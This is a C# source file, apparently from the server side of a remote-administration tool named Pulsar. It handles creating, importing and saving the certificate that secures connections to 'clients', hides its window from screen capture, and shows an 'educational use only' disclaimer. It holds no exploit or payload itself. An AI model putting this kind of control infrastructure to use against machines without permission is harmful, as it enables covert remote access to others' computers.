Files

157 lines
6.3 KiB
C#
Raw Permalink Normal View History

2026-08-27 10:57:58 -06:00
using Org.BouncyCastle.Crypto.Paddings;
using Pulsar.Server.Forms.DarkMode;
using Pulsar.Server.Helper;
using Pulsar.Server.Models;
using System;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Security.Cryptography.X509Certificates;
using System.Windows.Forms;
namespace Pulsar.Server.Forms
{
public partial class FrmCertificate : Form
{
private X509Certificate2 _certificate;
public FrmCertificate()
{
InitializeComponent();
DarkModeManager.ApplyDarkMode(this);
ScreenCaptureHider.ScreenCaptureHider.Apply(this.Handle);
}
private void SetCertificate(X509Certificate2 certificate)
{
_certificate = certificate;
txtDetails.Text = _certificate.ToString(false);
btnSave.Enabled = true;
}
private string GenerateRandomStringPair()
{
const string letters = "abcdefghijklmnopqrstuvwxyz";
Random random = new Random();
string GenerateRandomString(int length) => new string(Enumerable.Repeat(letters, length).Select(s => s[random.Next(s.Length)]).ToArray());
string randomString1 = GenerateRandomString(random.Next(4, 7));
string randomString2 = GenerateRandomString(random.Next(4, 7));
return $"{randomString1} {randomString2}";
}
private void btnCreate_Click(object sender, EventArgs e)
{
SetCertificate(CertificateHelper.CreateCertificateAuthority(GenerateRandomStringPair(), 4096));
}
private void btnImport_Click(object sender, EventArgs e)
{
using (var ofd = new OpenFileDialog())
{
ofd.CheckFileExists = true;
ofd.Filter = "*.p12|*.p12";
ofd.Multiselect = false;
ofd.InitialDirectory = Application.StartupPath;
if (ofd.ShowDialog(this) == DialogResult.OK)
{
try
{
byte[] bytes = File.ReadAllBytes(ofd.FileName);
var cert = X509CertificateLoader.LoadPkcs12(bytes, null, X509KeyStorageFlags.Exportable);
SetCertificate(cert);
btnSave.PerformClick();
string importedDir = Path.GetDirectoryName(ofd.FileName);
string sourcePulsarStuff = Path.Combine(importedDir, "PulsarStuff");
string destPulsarStuff = Path.Combine(Application.StartupPath, "PulsarStuff");
if (Directory.Exists(sourcePulsarStuff))
{
Directory.CreateDirectory(destPulsarStuff);
foreach (string file in Directory.GetFiles(sourcePulsarStuff, "*", SearchOption.AllDirectories))
{
string relativePath = file.Substring(sourcePulsarStuff.Length + 1);
string destFile = Path.Combine(destPulsarStuff, relativePath);
Directory.CreateDirectory(Path.GetDirectoryName(destFile));
File.Copy(file, destFile, true);
}
}
}
catch (Exception ex)
{
MessageBox.Show(this, $"Error importing the certificate:\n{ex.Message}", "Save error",
MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
}
}
private void btnSave_Click(object sender, EventArgs e)
{
try
{
if (_certificate == null)
throw new ArgumentNullException();
if (!_certificate.HasPrivateKey)
throw new ArgumentException();
File.WriteAllBytes(Settings.CertificatePath, _certificate.Export(X509ContentType.Pkcs12));
MessageBox.Show(this,
"Please backup the certificate now. Loss of the certificate results in loosing all clients!",
"Certificate backup", MessageBoxButtons.OK, MessageBoxIcon.Information);
string argument = "/select, \"" + Settings.CertificatePath + "\"";
Process.Start("explorer.exe", argument);
this.DialogResult = DialogResult.OK;
}
catch (ArgumentNullException)
{
MessageBox.Show(this, "Please create or import a certificate first.", "Save error",
MessageBoxButtons.OK, MessageBoxIcon.Error);
}
catch (ArgumentException)
{
MessageBox.Show(this,
"The imported certificate has no associated private key. Please import a different certificate.",
"Save error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
catch (Exception)
{
MessageBox.Show(this,
"There was an error saving the certificate, please make sure you have write access to the Pulsar directory.",
"Save error", MessageBoxButtons.OK, MessageBoxIcon.Error);
}
}
private void btnExit_Click(object sender, EventArgs e)
{
Environment.Exit(0);
}
private void FrmCertificate_Load(object sender, EventArgs e)
{
string disclaimer = "WARNING: This software is intended for educational and research purposes ONLY.\n" +
"Unauthorized use on computers you do not own or have explicit permission to access is illegal.\n\n" +
"By using this software, you agree that you are solely responsible for your actions.\n\n" +
"Do you agree to proceed?";
DialogResult result = MessageBox.Show(disclaimer, "Legal Disclaimer",
MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
if (result == DialogResult.No)
{
// User did not agree close the form
this.Close();
}
// If Yes, the form stays open and continues loading
}
}
}